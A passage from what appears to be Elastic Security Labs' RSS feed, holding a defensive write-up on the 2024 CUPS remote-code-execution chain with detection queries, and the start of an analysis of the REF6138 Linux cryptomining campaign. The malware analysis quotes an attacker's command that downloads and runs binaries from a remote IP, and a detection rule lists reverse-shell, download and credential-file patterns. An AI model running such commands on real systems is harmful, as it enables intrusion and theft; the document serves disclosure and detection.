a misconfiguration of cloud environments, and a growing emphasis on Credential Access. This report explores key telemetry from over a billion data points with emphasis on malware trends, adversary tactics, cloud security, and generative AI curated by Elastic Security Labs.</p> <p>Read the <a href="http://www.elastic.co/blog/elastic-global-threat-2024">announcement</a> and <a href="https://www.elastic.co/resources/security/report/global-threat-report">download</a> the 2024 Elastic Global Threat Report to gain an in-depth understanding of the threat landscape.</p>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/elastic-publishes-2024-gtr/2024-gtr.png" length="0" type="image/png"/> </item> <item> <title><![CDATA[Cups Overflow: When your printer spills more than Ink]]></title> <link>https://www.elastic.co/security-labs/cups-overflow</link> <guid>cups-overflow</guid> <pubDate>Sat, 28 Sep 2024 00:00:00 GMT</pubDate> <description><![CDATA[Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris.]]></description> <content:encoded><![CDATA[<h2>Update October 2, 2024</h2> <p>The following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your "Prebuilt Security Detection Rules" integration versions or visit the <a href="https://www.elastic.co/guide/en/security/current/prebuilt-rules-downloadable-updates.html">Downloadable rule updates</a> site.</p> <ul> <li>Stack Version 8.15 - Package Version 8.15.6+</li> <li>Stack Version 8.14 - Package Version 8.14.12+</li> <li>Stack Version 8.13 - Package Version 8.13.18+</li> <li>Stack Version 8.12 - Package Version 8.12.23+</li> </ul> <h2>Key takeaways</h2> <ul> <li>On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the <code>cups-browsed</code>, <code>libscupsfilters</code>, and <code>libppd</code> components of the CUPS printing system, impacting versions <= 2.0.1.</li> <li>The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.</li> <li>The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by <code>cups-browsed</code> without any authentication requirements.</li> <li>The vulnerability chain includes the <code>foomatic-rip</code> filter, which permits the execution of arbitrary commands through the <code>FoomaticRIPCommandLine</code> directive, a known (<a href="https://nvd.nist.gov/vuln/detail/CVE-2011-2697">CVE-2011-2697</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2011-2964">CVE-2011-2964</a>) but unpatched issue since 2011.</li> <li>Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the <code>cups-browsed</code> service enabled by default.</li> <li>By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.</li> <li>Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.</li> </ul> <h2>The CUPS RCE at a glance</h2> <p>On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/">uncovered</a> a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like <code>cups-browsed</code>, <code>libcupsfilters</code>, and <code>libppd</code>. These vulnerabilities — identified as <a href="https://www.cve.org/CVERecord?id=CVE-2024-47176">CVE-2024-47176</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2024-47076">CVE-2024-47076</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2024-47175">CVE-2024-47175</a>, and <a href="https://www.cve.org/CVERecord?id=CVE-2024-47177">CVE-2024-47177</a> — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).</p> <p>At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port <code>631</code> over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.</p> <p>For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.</p> <p>Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.</p> <p>One of the major vulnerabilities in this chain is the <code>foomatic-rip</code> filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.</p> <blockquote> <p>While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.</p> </blockquote> <h2>Elastic’s POC analysis</h2> <p>Elastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the <a href="https://github.com/RickdeJager/cupshax/blob/main/cupshax.py">cupshax</a> proof of concept (PoC) based on its ability to execute locally.</p> <p>To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.</p> <p>Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a <a href="https://en.wikipedia.org/wiki/PostScript_Printer_Description">PostScript Printer Description</a> (PPD) file from these IPP attributes.</p> <p>At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.</p> <p>During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.</p> <p>When running arbitrary commands to create files, we noticed that <code>lp</code> is the user and group reported for arbitrary command execution, the <a href="https://wiki.debian.org/SystemGroups#:~:text=lp%20(LP)%3A%20Members%20of,jobs%20sent%20by%20other%20users.">default printing group</a> on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the <code>lp</code> user to have sufficient permissions to retrieve and run a malicious payload. By default, the <code>lp</code> user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict <code>lp</code> such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.</p> <p>The <code>lp</code> user in many default configurations has access to commands that are not required for the print service, for instance <code>telnet</code>. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the <code>lp</code> user from using them.</p> <p>We also took note that interactive reverse shells are not immediately supported through this technique, since the <code>lp</code> user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to <code>/tmp/</code>, which is trivial to detect in most cases. Note that the user writing this file will be <code>lp</code> so similar behavior will be present for attackers downloading and saving a payload on disk.</p> <p>Alongside these observations, the parent process, <code>foomatic-rip</code> was observed in our telemetry executing a shell, which is highly uncommon</p> <h2>Executing the ‘Cupshax’ POC</h2> <p>To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.</p> <p>Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the <code>lp</code> user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/video1.gif" alt="A remotely downloaded payload, compiled and executed on a vulnerable host" title="A remotely downloaded payload, compiled and executed on a vulnerable host" /></p> <p>Continued testing was performed around reverse shell invocation, successfully demonstrated below:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/video2.gif" alt="A reverse shell executed on a vulnerable host" title="A reverse shell executed on a vulnerable host" /></p> <h2>Assessing impact</h2> <ul> <li><strong>Severity:</strong> These vulnerabilities are given CVSS scores <a href="https://x.com/evilsocket/status/1838220677389656127">controversially</a> up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.</li> <li><strong>Who is affected?:</strong> The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report <a href="https://x.com/shodanhq/status/1839418045757845925">highlights</a> that over 75,000 CUPS services are exposed on the internet.</li> <li><strong>Potential Damage:</strong> Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.</li> </ul> <h2>Remediations</h2> <p>As <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Remediation">highlighted</a> by @evilsocket, there are several remediation recommendations.</p> <ul> <li>Disable and uninstall the <code>cups-browsed</code> service. For example, see the recommendations from <a href="https://www.redhat.com/en/blog/red-hat-response-openprinting-cups-vulnerabilities">Red Hat</a> and <a href="https://ubuntu.com/blog/cups-remote-code-execution-vulnerability-fix-available">Ubuntu</a>.</li> <li>Ensure your CUPS packages are updated to the latest versions available for your distribution.</li> <li>If updating isn’t possible, block UDP port <code>631</code> and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the <code>lp</code> user and group configuration on the host.</li> </ul> <h2>Elastic protections</h2> <p>In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.</p> <h3>cupsd or foomatic-rip shell execution</h3> <p>The first detection rule targets processes on Linux systems that are spawned by <code>foomatic-rip</code> and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible.</p> <pre><code>process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "foomatic-rip" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not process.command_line like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*") </code></pre> <p>This query managed to detect all 33 PoC attempts that we performed:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image6.png" alt="" /></p> <p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml</a></p> <h3>Printer user (lp) shell execution</h3> <p>This detection rule assumes that the default printer user (<code>lp</code>) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include <code>cupsd</code>. Although there's currently no indication that RCE can be exploited through <code>cupsd</code>, we cannot rule out the possibility.</p> <pre><code>process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and user.name == "lp" and process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not process.command_line like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*") </code></pre> <p>By focusing on the username <code>lp</code>, we broadened the scope and detected, like previously, all of the 33 PoC executions:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image5.png" alt="" /></p> <p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml</a></p> <h3>Network connection by CUPS foomatic-rip child</h3> <p>This rule identifies network connections initiated by child processes of <code>foomatic-rip</code>, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.</p> <pre><code>sequence by host.id with maxspan=10s [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "foomatic-rip" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted"] by process.parent.entity_id </code></pre> <p>By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image7.png" alt="" /></p> <p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml</a></p> <h3>File creation by CUPS foomatic-rip child</h3> <p>This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in <code>/tmp/</code>, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.</p> <pre><code>sequence by host.id with maxspan=10s [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "foomatic-rip" and process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id [file where host.os.type == "linux" and event.type != "deletion" and not (process.name == "gs" and file.path like "/tmp/gs_*")] by process.parent.entity_id </code></pre> <p>The rule excludes <code>/tmp/gs_*</code> to account for default <code>cupsd</code> behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image1.png" alt="" /></p> <p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml</a></p> <h3>Suspicious execution from foomatic-rip or cupsd parent</h3> <p>This rule detects suspicious command lines executed by child processes of <code>foomatic-rip</code> and <code>cupsd</code>. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.</p> <pre><code>process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name in ("foomatic-rip", "cupsd") and process.command_line like ( // persistence "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/sudoers*", "*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*udev*", "*/etc/shadow*", "*/etc/passwd*", // Downloads "*curl*", "*wget*", // encoding and decoding "*base64 *", "*base32 *", "*xxd *", "*openssl*", // reverse connections "*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*", "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*", // SO loads "*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*", "*cdll.LoadLibrary*.so*", // misc. suspicious command lines "*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*" ) </code></pre> <p>By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the <code>cupsd</code> parent, without the fear of false positives.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image2.png" alt="" /></p> <p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml</a></p> <h3>Elastic’s Attack Discovery</h3> <p>In addition to prebuilt content published, <a href="https://www.elastic.co/guide/en/security/current/attack-discovery.html">Elastic’s Attack Discovery</a> can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/cups-overflow/image4.png" alt="Elastic’s Attack Discovery summarizing findings for the CUPS Vulnerability" title="Elastic’s Attack Discovery summarizing findings for the CUPS Vulnerability" /></p> <h2>Conclusion</h2> <p>The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Impact">indicated</a> by @evilsocket.</p> <p>We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.</p> <h2>Key References</h2> <ul> <li><a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/">https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/</a></li> <li><a href="https://github.com/RickdeJager/cupshax/blob/main/cupshax.py">https://github.com/RickdeJager/cupshax/blob/main/cupshax.py</a></li> <li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47076">https://www.cve.org/CVERecord?id=CVE-2024-47076</a></li> <li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47175">https://www.cve.org/CVERecord?id=CVE-2024-47175</a></li> <li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47176">https://www.cve.org/CVERecord?id=CVE-2024-47176</a></li> <li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47177">https://www.cve.org/CVERecord?id=CVE-2024-47177</a></li> </ul> <p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/cups-overflow/cups-overflow.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse]]></title> <link>https://www.elastic.co/security-labs/betting-on-bots</link> <guid>betting-on-bots</guid> <pubDate>Fri, 27 Sep 2024 00:00:00 GMT</pubDate> <description><![CDATA[The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.]]></description> <content:encoded><![CDATA[<h2>Introduction</h2> <p>In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.</p> <p>The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.</p> <p>Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.</p> <p>This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.</p> <h2>Execution flow</h2> <h3>Initial access</h3> <p>Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the <code>id</code> command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the <code>www-data</code> user account.</p> <p>Shortly after the Kaiji deployment, the attacker used the <code>www-data</code> account to download a script named <code>00.sh</code> from the URL <code>http://61.160.194[.]160:35130</code>, which, after further investigation, also hosted several versions of RUDEDEVIL malware.</p> <p><code>00.sh</code> is a stager that:</p> <ul> <li>Sets its default shell and PATH.</li> <li>Deletes several log files to erase traces of execution.</li> <li>Leverages <code>ps</code>, <code>netstat</code>, <code>lsof</code> and a list of common mining process names to kill any potential mining competition on the compromised host.</li> <li>Flushes the <code>iptables</code> rules on the host, sets several <code>iptables</code> rules to block connections to specific destination ports and mining pools, and disables <code>iptables</code>.</li> <li>Finally, a second stage (<code>sss6</code>/<code>sss68</code>) is downloaded and executed, and execution traces are erased.</li> </ul> <p>The figure below shows a compressed version of the stager. Lines annotated with <code>[...]</code> are shortened to enhance readability.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image5.png" alt="Compressed version of the 00.sh stager" title="Compressed version of the 00.sh stager" /></p> <h3>Fileserver</h3> <p>Via the backdoored web server process, the attacker downloaded and executed malware through the following command:</p> <pre><code>sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86 </code></pre> <p>The <code>l64</code> and <code>l86</code> files are downloaded from <code>http://107.178.101[.]245:5488</code>, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image30.png" alt="Rejetto File Server Hosting Several Pieces of Malware" title="Rejetto File Server Hosting Several Pieces of Malware" /></p> <p>This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the <code>download.sh</code> file that was uploaded September 10th, was already downloaded 3,100 times.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image25.png" alt="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" title="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" /></p> <h3>RUDEDEVIL/LUCIFER</h3> <p>Upon closer inspection, the file <code>sss6</code>, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image11.png" alt="RUDEDEVIL Malware Characteristic" title="RUDEDEVIL Malware Characteristic" /></p> <pre><code>Hi, man. I\'ve seen several organizations report my Trojan recently, Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. I don\'t have any accommodation. I don\'t want to do anything illegal. Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, thank yo </code></pre> <p>We note that the files <code>l64</code> and <code>l86</code> that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:</p> <ul> <li><strong>Daemon Initialization:</strong> The process is converted into a daemon using <code>daemon(1, 0)</code>.</li> <li><strong>Socket Creation:</strong> A socket is created and bound to a specific port.</li> <li><strong>Signal Handling:</strong> Custom signal handlers are set up for various signals.</li> <li><strong>Service Initialization:</strong> Several services are started using <code>SetFILE</code>.</li> <li><strong>Privilege Handling:</strong> It checks for root privileges and adjusts resource limits accordingly.</li> <li><strong>Decryption:</strong> The malware decrypts its configuration blobs.</li> <li><strong>Thread Creation:</strong> Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.</li> <li><strong>Main Loop:</strong> The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.</li> </ul> <p>When examining the encryption routine, we find it utilizes XOR-based encoding:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image13.png" alt="DareDevil Encryption Routine" title="DareDevil Encryption Routine" /></p> <p>To decode the contents statically, we developed a basic Python snippet:</p> <pre><code class="language-python">def DecryptData(data_block, encryption_key): key_modifier = encryption_key & 0xFF key_index = key_modifier // 0x5F # 0x5F = 95 in decimal modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal for i in range(len(data_block)): data_block[i] ^= modifier data_block[i] &= 0xFF # Ensure 8-bit value data_block[i] += modifier data_block[i] &= 0xFF # Ensure 8-bit value return data_block # Encoded data as hex strings encoded_data = [ '4c494356515049490c467978', '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20', '0f424d4e0f435536575649484b', '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b', ] encryption_key = 0x03FF # 1023 in decimal # Process and decrypt each encoded data string for data in encoded_data: # Convert hex string to list of integers data_bytes = bytes.fromhex(data) data_block = list(data_bytes) # Decrypt the data decrypted_block = DecryptData(data_block, encryption_key) # Convert decrypted data back to bytes decrypted_bytes = bytes(decrypted_block) print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore')) </code></pre> <p>After decoding the configuration, the following values are revealed:</p> <ul> <li>The first value C2 domain <code>nishabii[.]xyz</code>.</li> <li>The second value reveals options that will be passed to XMRIG.</li> <li>The third value shows the temp file location the malware uses.</li> <li>The fourth and last string shows the download location for the XMRIG binary.</li> </ul> <h3>Thread Management in the Malware</h3> <p>The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.</p> <h4>Understanding the KillPid Function</h4> <p>One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.</p> <p>At the heart of its functionality is an array called <code>sb_name</code>, which contains the names of processes the malware wants to terminate.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image24.png" alt="RUDEDEVIL kill process array" title="RUDEDEVIL kill process array" /></p> <p>Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called <code>getPidByName</code>. After each iteration, it moves to the next process in the list, ensuring all processes in <code>sb_name</code> are handled.</p> <p>Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.</p> <h4>Understanding the Get_Net_Messages Function</h4> <p>Another crucial thread is responsible for monitoring network traffic, specifically focusing on the <code>eth0</code> network interface. This functionality is handled by the <code>getOutRates</code> function. The function begins by setting up necessary variables and opening the <code>/proc/net/dev</code> file, which contains detailed network statistics for each interface.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image22.png" alt="Getting network rates from /proc/net/dev" title="Getting network rates from /proc/net/dev" /></p> <p>If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the <code>eth0</code> interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for <code>eth0</code>; otherwise, it returns <code>0</code>, ensuring the malware continues functioning even if an error occurs.</p> <p>This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.</p> <h4>Understanding the Get_Cpu_Message Function</h4> <p>For CPU monitoring, the malware uses the <code>GetCpuRates</code> function. This function continuously monitors the CPU usage by reading data from <code>/proc/stat</code>. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image34.png" alt="Getting CPU information from /proc/stat" title="Getting CPU information from /proc/stat" /></p> <p>The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.</p> <h4>Understanding the Send_Host_Message Function</h4> <p>Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The <code>_SendInfo</code> function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/betting-on-bots/image19.png" alt="Sending system info back to the C2" title="Sending system info back to the 